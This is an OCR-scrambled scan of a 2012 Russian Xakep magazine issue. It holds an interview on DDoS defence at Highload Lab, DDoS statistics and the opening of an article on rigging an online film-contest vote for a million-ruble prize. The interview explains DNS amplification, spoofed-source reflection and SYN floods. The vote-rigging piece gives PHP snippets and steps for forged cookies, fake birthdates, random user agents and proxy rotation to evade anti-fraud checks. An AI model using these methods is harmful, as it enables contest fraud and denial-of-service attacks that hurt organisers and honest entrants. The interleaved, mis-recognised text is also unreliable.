читать зтот сабмит по адресу cr bug .com/63B66 . Однако здесь не стоит тянуть время, так как кто-нибудь может описать уязвимость раньше тебя . Однажды такое произошло и со мной. Сейчас я пишу эти строки, а чуть раньше

на мой ящик пришло сообщение, что новая уязвимость, о которой я сообщил, является

д у бликатом . Уязвимость тянула на критиче­ с кий уровень . К сожалению, я опоздал всего на пар у дней , и кеш получил человек, первым сообщивший о баге. Такие дубликаты сливают

Iделают mergel с ранее обнаруженной уязви­ мостью. Да, обидно, но ничего не поделаешь

ХАКЕР

02 /157/ 2012

Vupen демонстрирует эксппойт ДЛА Google Chrome

023


COVERSTORY

от я. . . .

О

DDO S- ATAKA X В

ОБЩЕМ

Атаки появились на заре интернета. Невоз­ можно сказать, когда возникла такая услуга,

как

DDoS, -

зто тайна, покрытая мраком.

Не скажешь ведь: " Я был первым, кто заказал

атаку в 1998-м!» Знакомство с

DDoS для меня лично IT Territory в 2003

началось

во время проекта

году,

когда игра только стартовала. Она имела до­ статочно агрессивную рекламную кампанию,

в ответ на которую тут же прилетел

DDoS

от конкурентов. Скажу честно, я растерял­ ся. Больше всего из-за того, что компания, которая оказывала хостинг-услуги, не просто

не смогла, а не пожелала бороться с атакой. Ее представители сказали, что это не их про­ блема. Буквально за ночь мы переосмыслили структуру приложения и перестроили его.

Ресурс поднялся, но атака перестала рабо­ тать на уровне приложения. Злоумышленники перевели атаку на сетевой уровень, в резуль­ тате чего отключилась вся сеть компании,

предоставляющей хостинг. Тогда уже она пришла к нам с просьбой сделать что-нибудь. На вопрос «а что сделать-то?» последовал

ответ: «Ну договоритесь как-нибудь, вы же знаете, кто вас атакует». Мы, естественно, не знали и договориться не могли. Да и как

договариваться с террористами? Компания, которая, казалось бы, должна заботиться о клиентах, не сделала ничего.

ХАКЕР

02 / 157/ 20 12


Борьба с DDoS-ОМ глазами

Highload Lab

АЛЕКСАНДР ЛЯМИН

БОРЬБАС

DDOS-OM ГЛАЗАМИ HIGHLOAD LAB

и не п о тому, что она плохая и хостинг некаче­

рынке, но все ее информационные структуры

не спадала . Такие атаки называют комбиниро­

с тв е нны й , а потому, что она не могла ничего

расположены в одном из ведущих европейски х

ванными. Когда они к нам пришли, она велась

сд е лать .

дата-центров. Когда компания к нам обрати­

на сетевом уровне , на полосу . Когда злоу­

лась, дата-центр испытывал серьезные про­

мышленники увидели, что заполнение полосы

Самые популярные DD05-атаки

-

это,

конечно, атаки, организованные с помощью

блемы и был недоступен . Мы подготовились

вообще не дает результата, началась атака

к приему компании на своей сети и прогрели

аррliсаtiоп-уровня. В ботнет, использовавший­

ботнетав . Это доступный способ сделать атаку

карантинное оборудование, ожидая чего-то

ся для проведения атаки , входило порядка

распределенной.

экстраординарного, ведь дата-центр « умер " !

200-270 тысяч

ботов .

Каково же было наше удивление, когда мы Стоимость атаки сильно зависит от того, как

увидели, что, хотя атака проводится на уровне

Наиболее подвержены DD05-атакам доста­

она реализуется. Исполнителем может вы­

выше среднего, она не представляет собой

точно узкие направления интернет-бизнеса

ступать студент, который сам что-то написал

ничего особенного .

с высокой конкуренцией. Хороший пример

и готов поработать за пиво, а может и органи­ зо ваннаягруппировка.

пиратские клоны Liпеаgе

11. Такие

сервисы

-

Законодательство крайне слабо в вопросах

вообще отдельная история, ведь они являются

привлечения к ответственности за

чисто коммерческими . Если в два часа ночи

DD05,

Ica с тучится кто-то и, допустив восемь

Есть типы атак, которые могут стоить,

иэ-за чего злоумышленники чувствуют себя

к тебе в

по слухам, полмиллиона рублей и больше. Мы

фактор безнаказанными. Для квалифициро­

орфографических ошибок в четырех пред­

выделяем атаки базового типа: до пяти тысяч

ванного программиста проведение DDoS-атак

ложениях, требует 'Н, чтобы ты немедленно

батов, проведение на уровне приложения,

на заказ становится абсолютно безопасным

ему помог, можно не сомневаться, что это он!

одна стратегия. Для исполнителя тут нет ни­

прибыльным делом, доход от которого может

Администратор пиратки

чего сложного

превышать текущие зарплаты на рынке в де­

WMZ, нажал кнопку, пошел пить пиво . Это стоит примерно $30-100 -

получил

Lineage!

DD05-атакам подвергаются и те сайты, где

сятки раз.

в су тки . Но есть и атаки другого рода, когда

трудно их ожидать. У нас, например, есть

видно , что работает команда, и работает она

Мотивы для

24/7 - на результат. Если у нее не получается

и просто личная неприязнь. Dе

добиться результата , она постоянно пере­

в информационном обществе. Скорость рас­

дает кедровые бочки, подвергся серьезной

ключает режимы атаки, меняет стратегию,

пространения информации влияет на него

DDoS-атаке. Это очень узкий, высококонку­

пытается найти уязвимое место и прорваться .

прямым образом. Заблокировав источник

рентный вид деятельности, которая , видимо ,

Конечно, такое стоит далеко не

информации, можно необратимо повлиять

приносит хорошую прибыль .

$100 в сутки.

DD05 -

это, как правило, деньги

на общество. Соответственно,

facto

DDoS -

мы живем

такой внутренний мем

-

«кедровые бочки».

Онлайн-магазин, который, не поверите, про­

это эф­

Россия выделяется среди других стран гораз­

фективноесредствоблокировки какого-либо

Т ЕХНИЧЕСКАЯ СТОРОНА

до более изощренными атаками. Европейцы

источника информации на необходимое время .

Зачем вообще нужно классифицировать ата­

0005

ки? Чтобы понять, разложить по полочкам их

в шоке от того, насколько сложны наши атаки.

Например, к нам недавно обратилась одна

в качестве при мера можно привести сайт

механизм работы и предпринять адекватные

к омпания, которая работает на российском

510п.гu. Сайт работал , всё грузилось, но атака

контрмеры.

ХАКЕР

02/157/2012

025


COVERSTORY Наши коллеги по цеху пытаются как-то клас­

уязвимости подобного рода при плохо сконфи­

просто отключить его , так как боится, что по­

сифицироватьатаки. На одном сайте можно

гурированных серверах.

лягут и другие его клиенты.

найти и ICMP spoof, и DNS amplification, и ТСР SYN flood, ТСР RST flood - парни перечисляют

Атака типа SУN-флуд появилась одновременно

Когда к нам приходит клиент, мы объясняем,

техники проведения атак. Много страшных

с ТСР-протоколом. Первое упоминание о ней я

что ему необходимо перевести

букв, которые для обычного пользователя ни­

встретил, по-моему, в

IP-аАрес [которой мы ему выделяемl. Также,

какого смысла не несут. Такая классификация

она эффективна по сей день. История разви­

чтобы избежать атаки на прямой

нас не устраивает.

вается по спирали. Сто-пятьсот SУN-запросов

который уже засвечен в сети, необходимо его

в секунду -

как минимум поменять, а как максимум

1982 году.

Как ни странно,

это, конечно, этап давно пройден­

DNS IP

на наш

клиента,

-

по­

Мы классифицируем атаки очень просто:

ный. В настоящее время при наличии достаточ­

менять этот

атаки на приложения, атаки на канальную

ных процессинговых мощностей можно легко

мощью настроек

полосу [скорость измеряется в гигабитах/сl , атаки на сетевую инфраструктуру [скорость из­

превзойти и цифру в

IP-аАреса , кроме наших.

меряется в пакетах в ceKYHAyl, атаки на транс­ портный уровень [стек TCP/IPI.

в момент отправки пакета с запросом

Как только перестраивается

на соединение партнер должен сгенерировать

ся фильтрация. А дальше происходит самое

Самая мякотка

-

это уровень приложения.

млн пакетов в секунду.

IP

и дополнительно скрыть с по­

iptabIes

или файервола все

DNS,

начинает­

sеquепсе-номер [а это требует вычислений, так

интересное

как он должен быть случайным, криптостойким

задаем для себя планку: после двух часов под

-

обучение фильтров. Обычно мы

Почему? Потому, что у атак уровня приложения

числомl и создать в своем стеке определенною

ата1<ОЙ ресурс клиента должен начать рабо­

плечо максимально. Плечо атаки

запись. На это нужны ресурсы, ресурсы и еще

тать . И в целом ее выдерживаем.

-

это отно­

шение ресурсов, необходимых на стороне ата­

раз ресурсы. На то, чтобы послать пакет, сге­

кующих, к ресурсам , необходимым на стороне

нерировав его трафик, требуется существенно

Система защиты нашего сервиса

приложения [на стороне защищающихсяl .

меньше ресурсов, чем на действия, выполняе­

основана на множестве математических по­

мые на стороне сервера . Получаем плечо атаки.

строений. Как обычно отвечает Яндекс на во­

Возьмем какой-нибудь средний интернет­

Qrator

прос «а как у вас поиск устроен? » ? Да просто!

магазин. Можно найти ссылку, обычную ссыл­

Проблема существует внутри самого протоко­

ку, определенное количество обращений в се­

ла, в его спецификации. Когда разрабатывал­

индескы, ранжируем . У нас примерно то же

кунду к которой убьет этот магазин напрочь.

ся TCP/IP-стек, никто не думал, что интернет

самое, только мы решаем задачу по анализу

Берем текст, токенчики, разделители, строим

Таких приложений много, и для того чтобы их

разрастется до таких масштабов по количе­

и фильтрации трафика. Ее решением занято

убить, иногда и ботнет не нужен -достаточно

ству узлов, достигнет таки х скоростей и, что

множество людей.

сотового телефона даже не с

немаловажно, будет прокачивать через себя

EDGE,

а с

GPRS.

Четыре-пять запросов в секунду, и приложение

выкидывается в

outflow

Поведенческий анализ

столько денег.

-

один из наиболее

эффективных методов фильтрации трафика.

и не может выйти отту­

да до перезагрузки сервера . Этим обусловлена

Существуют атаки, которые не используют

Мы рассматриваем сайт как дерево перехо­

популярность атак на уровне приложений .

ботнеты. Распределенную атаку можно про­

дов. В узлах дерева находятся странички, а в

вести и с помощью механизма отражения.

ребра мы закладываем вероятность перехода

Еще есть транспортный уровень -

атаки, на­

правленные на сам стек ТРС/lР. К этому типу

Классика жанра

-

атаки

DNS

аmрlifiсаtiоп

тот простой факт, что роботы и люди видят

Атаки на инфраструктуру затрагивают всё,

на обучение достаточно, люди «натаптывают»

относятся атаки типа SУN-флуд, RSТ-флуд или

FIN-way- модная

сейчас атака с некоррект­

и задержку при переходе. В основе лежит

с отражением и увеличением мощности.

веб-страницы по-разному. Когда времени

ным закрытием соединения, которая, кстати,

что лежит вокруг сетевой инфраструктуры:

В зтих переходах определенные уплотнения

тоже эксплуатирует уязвимость спецификации

протоколы маршрутизации и само оборудова­

-тропинки . Всё посетители, которые из них

ние, если менеджмент-модули имеют откры­

выпадают, с той или иной вероятностью явля­

протокола, а не реализации.

ются роботами . Вроде бы всё просто. С другой

тый IP-аАрес. К наиболее популярным методикам относится

DNS amplification. Достаточно найти любой сетевой сервис IDP based без handshake, послать пакет размером N с фальсифициро­ ванным источником и в ответ получить пакет

N

стороны, если прикинуть, какие объемы па­ Что такое атаки на сетевом уровне? Просто

мяти и вычислительные ресурсы понадобятся

залить полосой в

для обработки, ты поймешь, что, наверное,

56

Гбит

-

это

clustery sort

называется. Это последнее средство, когда

при текущих вычислительных мощностях зто

ничего уже не помогает. Такие атаки очень до­

не так-то просто.

х К. В таком случае для реализации распреде­

роги и чрезвычайно разрушительны не только

ленной атаки нужно иметь список IP-аАресов ,

для самой жертвы, но и для всех, кто «стоит

Если клиент приходит к нам уже под атакой,

на которых есть эти сервисы, один очень

рядом» . Как правило, они не могут продол ­

обучаться на атаке .. . не невозможно , но слож­

хорошо подключенный сервер на гигабите ,

жаться дольше двух-трех суток, так как начи­

но. Часто это требует мониторинга со стороны

который выдаст набор па кетов в эти «отра­

нают доставлять проблемы даже источникам

инженера. Именно поэтому за подключение

жатели» с поделанным IP-аАресом жертвы.

атаки

-

сетям, с которых она производится.

Пакет отправится к жертве и снизит до нуля ее

пропускную способность и выведет ее из ра­

Базовые атаки, совершаемые с помощью

бочего состояния. Речь идет о сервере

ботнетов, которые насчитывают около

- UDP 53,

DNS

где можно сделать такую штуку, как

под атакой мы вынуждены брать некоторую дополнительную плату.

ботов И ничего, кроме

«get

200

корень » , не умеют,

Мы рекомендуем подключаться к нашей сети до DDoS-атаки. Конечно, мы стараемся мини­

рекурсивный запрос по зоне. Сам по себе он

в принципе не должны представлять собой

мизировать время обучения под атакой . У нас

небольшой, а вот ответ на него будет длинным.

проблему для грамотно написанного ресурса.

оно составляет не неделю, как у

[это наш железный конкурент, который снят с производстваl, а всего несколько часов.

Чтобы дополнительно увеличить коэффициент К атаки, достаточно «подкормить» эти сервера

О ЗАЩИТЕ ОТ

каким-нибудь большими фальшивыми домен­

От любой атаки можно защититься. Мы в этом

ными зонами. Получая их рекурсивно, с под­

не сомневаемся .

DDOS

Любой, кто скажет, что

дельным адресом жертвы, можно увеличить К в разы . Второй вариант -

это

NTP, протокол

синхронизации времени, который тоже имеет

026

ноль, Обычно, когда на клиента начинается

DDoS-

атака, хостер не находит ничего умнее, чем

-

Cisco Guard

false positive у

него

шарлатан. Ложные срабатывания

[когда в черные списки попадают легитим­ ные посетителиl, к сожалению, неизбежны.

ХАКЕР

02 /1 57/ 201 2


Борьба с

Хотя бы потому, что есть прокси, есть

OOOS-OM

глазами

Highload Lab

Внутри точки присутствия система тоже мас­

руководство по выживанию в

0005»,

есть просто люди, которые ведут себя не как

штабируема. Точка

мы показывали на

в

обычные пользователи. Классический при мер

ИХ несколько. Есть карантинное оборудова­

NAT'bI,

администраторы саЙтов. Администратор

-

может нагрузить сервер, как

30, 40

и даже

100

это не одна «железка»,

-

Cisco Guard у

2009

которую году.

ние, на которое «приземляются» некоторые

Мы пытались писать статьи на Хабре и рас­

атаки.

сказывать на отраслевой конференции, как

Мы создали модель, позволяющую мате­

уровня . Но, к сожалению, зто не возымело

матически рассчитать, как распределит-

никакого эффекта.

пользователей.

к

Highload++

самостоятельно защититься от атак базового нас была одна претензия:

когда к нему подключаешь атакуемый сервис,

ся трафик по интернету при появлении

то независимо от того, есть там инженер или

определенных анонсов

нет, первые сутки сервис работает так, что

нам гармонично развиваться и строить сеть,

DDoS -

лучше бы он не работал вообще. Отсюда стало

которую действительно можно балансировать

ботнета, но далеко не самый прибыльныЙ. Еще

ясно, что от 0005-атак невозможно защищать

по узлам.

BGP.

Это позволя-ет

1,IИ,iilii'tt4 это один из способов монетизации

есть спам, фрод, скликивание рекламы и так

на прикладном уровне, не понимая семантику

далее.

протокола приложения. Семантический анализ

Мы не завязаны на одного оператора связи

обязателен, как и поведенческий.

и стараемся распределять риски по всем опе­

я перечислил свойства ботнета на слайде для

раторам, с которыми работаем.

одной достаточно старой презентации. Когда

Мы отчетливо понимаем, что «серебряной

я делал тот слайд, он казался мне абсолютно

пули нет»: то, что будет хорошо работать

Мы долго пытались разобраться с ТCP/IP­

правильным:

в одних ситуациях, не будет работать в дру­

стеком, смотрели на

1.

гих . Классификатор

пришли к выводу, что стек в его теперешнем

Qrator -

это сложный

Free

В50 и

Linux

и в итоге

набор алгоритмов, которые образуют систему

состоянии нам совершенно не нравится.

голосования . Инструментарий мы стараемся

У нас есть своя облегченная версия

TCP/IP,

Жадность. Ботнет старается нанести при­ ложениям как можно больше вреда за еди­ ницу времени.

2.

Ущербность . Ботнет не являет браузером.

развивать и дописывать и, надеюсь, найдем

которая очень хорошо себя ведет на текущих

Это некий НТТР-стек, встроенный в червь .

еще какие-нибудь эффективные методы в бли­

короткоживущих протоколах, быстрых ТСР­

Как правило, он не умеет ставить коррект­

жайшее время. Кое-какие задумки уже есть.

соединениях.

ные заголовки, не обладает J5-движком или обладает в ограниченном виде.

Примерно в один миллион долларов обой­

3.

дется железка от АгЬог, способная почистить

10

Гбит. Плюс человек, плюс канальные

емкости ... При этом атаки скоростью выше

10

Гбит/с мы наблюдаем примерно раз в месяц­ полтора.

Мы склонны выделять два типа полос: актив­ ные и пассивные. В активноц полосе можно

терминировать и проанализировать любое ТСР-соединение и принять по нему решение. Полоса пассивная

-

зто полоса, для управле­

ния которой нужно задать бит- маску, по ко­

торой будет резаться трафик. Таким образом, что-то интеллектуальное там порезать нельзя .

Если говорить об активной полосе, то почти

и любые действия, приводящие к сокраще­ нию его размера приносят прямые финан­

КОГДА

совые убытки атакующим. Ботнет старается не производить действий, которые могли

РАЗРАБАТЫВАЛСЯ

бы его демаскировать и отразиться на ма­ теринскоЙсистеме.

TCP/IP-CTEK,

4.

НИКТО НЕ ДУМАЛ,

5.

ЧТО ИНТЕРНЕТ

На такой

UOP с определенного адреса, ICMP по определенной сигнатуре. полосе мы спокойно проживали 57 или

Конечность.

Пару лет назад мы первый раз увидели медленный ботнет, который не был жадным ...

РАЗРАСТЕТСЯ

Он делал один абсолютно легитимный запрос

ДО ТАКИХ МАСШТАБОВ

раз в пять минут. Мы удивились, но при зтом ботнет, насчитывавший

75

тысяч ботов, всё же

доставлял проблемы. Попробуйте-ка отфиль­

мости блокируют

ICMP

Транснациональность. Ботнеты раскиданы по всему «шарику».

все наши поставщики трафика при необходи­ все

Самосохранение. Ботнет- ценный ресурс,

тровать ЭТО. Мы не скрываем, что узел фильтрации рабо­

тает под управлением

Linux. Линкус -

зто

Сейчасизвсехпунктов,перечисленных

Гбит. Уверены, что можем проживать и больше.

такой контейнер, в котором осуществляется

выше, остался только один

Такие атаки не вызывают особых проблем,

управление платформой и выполняются мате­

ботнета самосохраняться. Ботнеты уже давно

кроме необходимости оплачивать эту полосу,

матические преобразования, необходимые для

не жадные, не тупые и не ущербные. Сейчас

то есть мы говорим о цифре более

поведенческого анализа. Существенная часть

мы имеем дело с полноценными минимизиро­

пассивной полосы . Как следует из ситуации

ТСР-стека живет в самой ТСР-карте, позтому,

ванными веб-браузерами с Jаvа-скриптами,

с 0005-атаками на российском рынке, зтого

собственно, у нас получились такие хорошие

редиректами,

вполне достаточно.

показатели скорости\обработки пакетов. Один

100

Гбит для

наш узел фильтрации в состоянии перелопа­

Преимущество

Qrator IKaK

сервисаl перед

тить

6 Гбит трафика.

купленным АгЬог состоит в том, что наше ре­

От атак базового уровня защититься можно.

желание

cookies.

Раздать команды членам 20-тысячного бот­ нета с учетом того, что инициатором соедине­

ний является сам бот,

шение не является точечным. Сеть построена

-

-

задача не самая три­

виальная. Как правило, контрольные панели,

по BGP-АпуСаst, мы выбираем для установки

Для этого нужно обязательно иметь выделен­

к нашему удивлению, пишутся на том же самом

точек исключительно магистральных опера­

ный хостинг, а также возможность скомпилиро­

торов. Мы не ставим точки на

вать модули и свою версию веб-сервера. Статей

LAMP 5tack ILiпuх, Apache НТТР 5erver, My5QL и PHPI. До 2010 года разворачивание ботнета­

pubIic exchange

просто потому, что это не гарантирует качества

на зту тему написано много, и я, наверное,

пятитысячника в направлении ресурса жертвы

сервиса . Сеть развивается благодаря нашим

отошлю вас к своей статье 2008 года Iнайти ее можно в блоге на highloadlab.rul. Это одна

занимало

собственным алгоритмам моделирования. Мы

30-40

минут.

строим ее так, чтобы можно было распреде­

из первых статей, в которой доступно изложено,

в 2010-м управление ботнетами начали орга­

лять нагрузку на злементы сети более-менее

что и как следует сделать. Также рекомендую

низовывать с помощью Р2Р. Ребята стали про­

равномерно .

ознакомиться с презентацией «Практическое

сто супербыстро раздавать команды : в течение

ХАКЕР

02/157/2012

027


COVERSTORY пяти-шести минут ботнет, насчитывающий

20

10-

тысяч ботов, может распространить команду

внутри себя и развернуться на ресурс .

по изъятию его тела и, самое главное, у нас

восемь инженеров и четыре других сотрудни­

нет своих специалистов, способных делать

ка . Двое из них внештатники из Москвы. В на­

обратный инжиниринг кода, ориентированного

чале года, если всё пойдет хорошо, мы хотим

на Wiпdоws-системы.

пригласить в компанию еще двух инженеров.

Ботнеты стараются как можно более точно

Так же как и Яндекс, мы ищем математиков,

имитировать поведение пользователей, чтобы

О

затруднить их обнаружение и фильтрацию, вы ­

Идея заниматься DDoS-атаками возникла

HIGHLOAD LAB

которые могут программировать, работать

с данными !структурированным и плохо струк­ турированнымиl.

у нас еще в МГУ. Мы посмотрели, как обстоят

деление тела ботнета и блокировку.

дела с устойчивостью к внешним воэдействи­ в последние три месяца особой популярно­

ям у правительственных ресурсов .И с устой­

к сожалению, мы не занимаемся реверс­

стью пользуется ботнет

чивостью веб-приложений в России в целом.

инжинирингом, но видим, что каждая атака

добывает ВitСоiп. Он приходит на титульные

Стало понятно, что наши услуги, скорее всего,

имеет свою сигнатуру и логику.

страницы без реферера, случайным образом,

будут востребованы. Ведь отвалившийся

MinerBot,

который

Мы существуем у'же год. Это был не самый

переходит по ссылкам и действительно созда­

интернет-магазин

ет проблемы для решений вроде

его владельца, но отвалившаяся налоговая

легкий год . В какие-то моменты было очень тя­

инспекция

жело и финансово, и морально. Но за это время

Cisco

и АгЬог.

Они не в состоянии отфильтровать МiпегВоt,

-

это проблема только

-

это проблема всей страны .

потому что он не обладает ни одним из тех

мы выяснили, какие вопросы воэникают при

изъянов, на обнаружение которых ориен т иро­

Начать исследования

ваны эти решения .

инициатива . Универс.итет предоставил инфра­

Ботнеты также перестали быть транснацио­ нальными

-

это была моя личная

-

эксплуатации сервиса, поняли, как формиро­ вать тарифную стеку. Поскольку услуга новая,

структуру, я на свои деньги закупил оборудо­

никто не знает, как ее продавать. Все предло­

вание.

жения на рынке имеют те или иные изъяны.

загрузки легко продают по регио­

нам . Первый раз мы такое увидели в когда к нам «пришел» ботнет на

1500

году,

2009

г олов,

и все чистое снг.

в

2008

году у нас возникла идея. В

2009

году

Highloadlab

появилась бета - версия продукта, которую мы

прибыльна. В этом году мы плани­

руем проводить серьезные технические раз­

обкатывали в режиме открытой беты большую

работки

часть

специализированных сетевых процессоров

2010

года. Мы принимали у себя на пло­

-

будем строить новую версию своих

щадке любой терпящий бедствие проект.

-

довольно модную атаку. Ботнет обнаруживает,

Стало ясно, что с этой задачей мы справляемся

заинтересованными компаниями: хостинг­

что он весь зафильтрован, раздает команду

неплохо, даже располагая ограниченной уни­

компаниями, телекомами.

и централизовано прекращает атаку. После

верситетской инфраструктурой. Мы, к примеру,

этого рандомный член ботнета посылает

помогли г азете «Ведомости». Было здорово.

«Засыпающий ботнет»

так мы называем

-

:1

и активно развивать партнерство со всеми

Одна из наших целей

-

обеспечить защиту

для мелкого бизнеса. Это самая незащи­

тестовые запросы в ожидании, когда фильтр отключится. Как только он отключается, атака

к коммерциализации нас подтолкнула необхо­

щенная от атак прослойка. Многие компании

в течение трех-пяти минут возобновляется

димость: в июне

берут за эащиту от DDoS-атак от

в полном объеме. Это опасно тем, что подобная

емкость университетской сети составляла

атака может длиться бесконечно

Гбит, на нас упала атака в

-

никаких

2010

года, когда максимальная

12,5

50 - 100 тысяч,

и, если мелкий бизнес столько заплатит, он

10

Гбит. Атака по­

разорится. Для предприятий малого бизнеса

ресурсов, с точки зрения ботовода, она не по­

казала, что фильтры справляются, и мы легко

у нас есть специальный тариф

требляет.

сможем преодолеть и более мощную атаку,

Но это не значит, что по более низким расцен­

но нужны канальные емкости. Это ценный и до­

кам мы работаем хуже. На всех наших тарифах

- 5000

рублей.

Разные ботнеты здорово отличаются друг

рогой ресурс, но проигрывать тоже не хочется .. .

испольэуется одна и та же система, качество

от друга. Сама техника атак постоянно меня­

У нас были какие-то свои накопленные сред­

фильтрации везде одинаково.

ется.

ства, на которые и были эакуплены канальные

с ботнетами-миллионниками наблюдается

емкости. Также было закуплено дополнитель­

Мы предельно аполитичны. Во время выборов

ное оборудование.

нашими клиентами были «Слон», New Times, golos.org, «Эхо Москвы», «Новая газета» СПБ, Forbes, PubIic Post, «Ведомости» .. . В общем,

очень интересная ситуация. В последние не­

-

сколько лет существенно возросло количество

Нам повезло с запуском

тех, кто хотел бы обзавестись своим ботнетом.

тельный стресс-тест. То есть

Простой эксперимент : поставим

ну как раз поставил последнюю точку входа, а

SP1

Windows

ХР

на честный IP-аАрес. Сколько он проживет

до того, как на него что - нибудь «приземлит­

у нас был замеча­

1 сентября

я по пла­

сентября к нам пришел Хабрахабр под атакой

2 6

Гбит. Мы получили бесплатный стресс -тест.

мы приняли под свое крыло всю оппозицию.

Но даже с большим удовольствием мы бы по­ работали с тем же ЦИК. НО ЦИК к нам не при­ шел.

СЯ», даже если не открывать веб-бразуер? Максимум пять минут. Есть много команд,

Трафик

которые борются за увеличения тела ботнета,

расходов. Его тратится не просто много, а очень

а само предложение уязвимых систем крайне

много.

-

это одна из наших главных статей

Единственный критерий для нас

-

ресурс

должен обязательно соблюдать все законы. Мы принципиально не связываемся с сайтами,

ограниченно. Соответственно, количество

содержащими пиратский контент, имеющими

ботнетов растет, а вот их размеры медленно,

Компания работает в нескольких направле­

нацистскую или порнографическую направ­

но верно снижаются . Ботнеты уже начинают

ниях: мы разрабатываем на заказ высокона­

ленность, с фарма-партнерками и прочей

пересекаться, то есть один компьютер являет ­

груженные веб-приложения и консультируем

интернет-грязью.

ся членом нескольких ботнетов сразу.

по вопросам их создания. Второе направление, самое перспективное для нас, самое динамич­

Мы подумали, что если бы нам удалось соз­

Ботнетов на десятки миллионов компьютеров

но развивающееся,

дать систему, построение и функционирова­

становится всё меньше и меньше. Ими обла­

продукт, система фильтрации трафика

дают совсем уж джедаи.

В него мы инвестируем практически всё, что

ведение атаки, способной убить эту систему,

зарабатываем.

то мы бы ликвидировали экономическое плечо

:1

-

это наш «коробочный»

Qrator.

у нас нет возможности делать реверс­

ние которой обходилось бы дешевле, чем про­

атаки. Атаковать стало бы невыгодно. Исходя

инжиниринг кода ботнета, потому что

На данный момент в нашей компании работа­

из этого, мы и строили идеологию развития на­

у нас нет административных возможностей

ет

шего решения.

028

12 человек.

В нетехнический штат входят

I

ХАКЕР

02/157/2012


Формула

DDoS

в прошлом году для многих стал ясен неожиданный факт: если какой-то сайт нужно положить, то это вполне можно устроить. (колько DDoS-атак устроивается за год и насколько они эффективны

-

разбираемся с ц)t1фрами от

Highloadlab.

~--------------------------------~v~--------------------------------~) Компоненты DDoS-атаки

Статистика DDoS-атак в

1861 -

ботов

Всего было

средний размер

2011

году

1905

эффект

.... . ...... . ........................... .. .. ... .................. ..

Какие цели у атакующих?

340

атак

34

без ботов

атак

производимый

атаки

реклама

мощностью

ботнета

выше

ГБ/с

1

Самые мощные атаки

Атаки по месяцам: Январь

437

Февраль Март

56

Гбит/с

-

максималь­

486

Ч. -

максимальная

количество

239 991 -

ная

продолжительность

ботов с самом большом

мощность

атаки

ботнете

392

303

Апрель

I

Май

политика

87

22

атаки

Кого чаще всего DDoS-ят?

Июнь Июль

85 103

Август

89

Сентябрь Октябрь

DDoS -

это метод

конкурентной

атаки были на магазин

борьбы

'ДАННЫЕ НА СЕРЕДИНУ ДЕКАБРЯ

ХАКЕР

02/157/2012

Самые продолжительные кедровых бочек

:)

Наибольший суммарный трафик

-

Ноябрь

убеждения

52 85

143

магазин

магнитны х игрушек

Де к абрь

107'

деньги

2011

029


СОУЕ RSTO RY

Iqbzl

тить

ак нак

миллион ПОЛНЫЙ гид

ПРЕДЫСТОРИЯ Как-то раз, глубокой ночью, когда все нормальные люди уже спят, я сидел и о чем-то яростно дискутировал с другом в аське . В этот

ПОНАКРУТКЕ

момент ко мне постучался клиент, который предложил плевую,

ОНЛАЙН-ГОЛОСОВАНИЙ

на первый взгляд, задачу, суть которой заключалась в накрутке определенного количества голосов в одном онлаЙн-голосовании.

Само голосование проходило за лучший короткометражный автор­ ский фильм. Уже имея опыт накручивания всевоэможных счетчиков,

Конкурсы с голосованием­

я сначала подумал, что потребуется набросать очередной скрипт

модный тренд . Они привлекают

Сомнения закрались, когда я увидел главный приз конкурса

большое количество

миллион рублей.

посетителей, а трафик, как

прибегла администрация сайта при таком существенном спонсиро­

из пары запросов на

вании. Ниже

030

-

мой отчет о том, как я последовательно решал про­

IMJ:J'11I1

где за победу предлагаются

Сразу предупрежу, что в подобных голосованиях отслеживается

лакомые призы. В этой статье

в подобных опросах.

- один

блемы, необ х одимые для реализации эффективного накрутчика .

интерес вызывают конкурсы,

своеобразном способе участия

проходящих череэ прокси-сервер .

Тут мне стало интересно , к каким методам защиты от накрутки

известно, это деньги. Особый

я хочу рассказать о довольно

cURL,

IP-аАрес каждого запроса, но подробно рассматривать это проблему мы не будем. На нашем диске ты найдешь все скрипты и функции, описанные в статье .

Существует довольно много способов добыть свежие прокси , а с технической точки зрения смена прокси для выполнения нового за­ проса решается всего одной строкой с

cURL:

ХАКЕР

02/157/20 12


Как накрутить миллион

Разработку накрутчика всегда стоит начинать с разведки. Я решил не изменять этому правилу и, прежде чем голосовать ,

запусти л свой снифер. Для идентификации нас как уникального посетителя сайт сначала ставил в куки банальную сессию. Затем ресурс предлагал указать возраст для подтверждения совершен­

нолетия !скорее всего, потому, что некоторые фильмы были « для

взрослых»l. Посмотрим на зто с точки зрения накрутки: скрипт каждый раз пров еряе т дату рождения, поэтому было бы глупо производить на­

крутку с тысяч IP-аАресов с одинаковой датой рождения. А значи т, первое, что мы должны предусмотреть,

-

и рандомную генерацию даты рождения в

Панель для управления сервисом для распознования САРТСНА'ей

это граббинг сессии

cookie . Для

этого в самом

У НИК А ЛЬНОСТЬ ЗАГОЛОВКОВ

начале нашего скрипта мы объявим глобальную переменную с ра­

8 любой

нее сгенерирова нной датой в кукисах:

Но данный случай, скорее, представляет собой исключение из пра­

накрутчик сразу же хочется добавить многопоточность.

вил, и многопоточность нам то.лько помешает. Если проголосо$c.ookie_s.e.~:;:j.Q!J ..=

array( .....

'BIR1}JDf\Y.=.' , r~nc!( 1 , 29 ). 'IS_1!!ЩQJ;J~,,1' ,

вать в одну секунду тысячу раз , а потом весь день не голосовать

' . с_' ,.r.<lлd( l , 12 ).

<..гапd(;I.9бе> J9S~ » ...

'..

вообще, это будет слишком подозрительно. Поэтому мы прибегнем к поочередному голосованию, во время которого к тому же будем

, LANG=eo.' ......

делать паузы .

8добавок следует отметить, что браузер Iзаголовок User-Agentl

);

тоже нужно генерировать всегда рандомна, так как для пущей

достоверности у всех Ботов должны быть разные «браузеры». Для

Теперь, после того как мы подтвердили, что уже взрослые

дядьки, нам следует зарегистрироваться. П ереходим на страни­ цу регистрации и видим, что нас просят ввести имя, фамилию,

e-mail,

на который придет активационный код, и текст с капчи.

этого у меня давно подготовлен скрипт с большим количеством юзер-агентов, который ждет тебя на нашем диске. Достаточно про­

сто добавить две строки:

Данные для первы х дву х полей, а именно фамилию и имя, мы тоже должны генерировать каждый раз разные, так как

20 тысяч

голо­

сов от Петра Сидорова немного насторожат администратора.

:1

:i.ш;lцdе ( ' ./useraE~nts , l.ib.p!Jp .~J;

....

$!;J'lQ~ел_usеrаgепt ...=.. сhО.9sеВ.гQJ'Ш~Г.О.;

Имена и фамилии легко достать в интернете или спарсить

самому с какого-нибудь сайта имен и фамилий. А вот с активаци­ онным ко дом и капчей придется повозиться. Хорошо, заполняем

Таким образом, мы получим рандомный браузер из

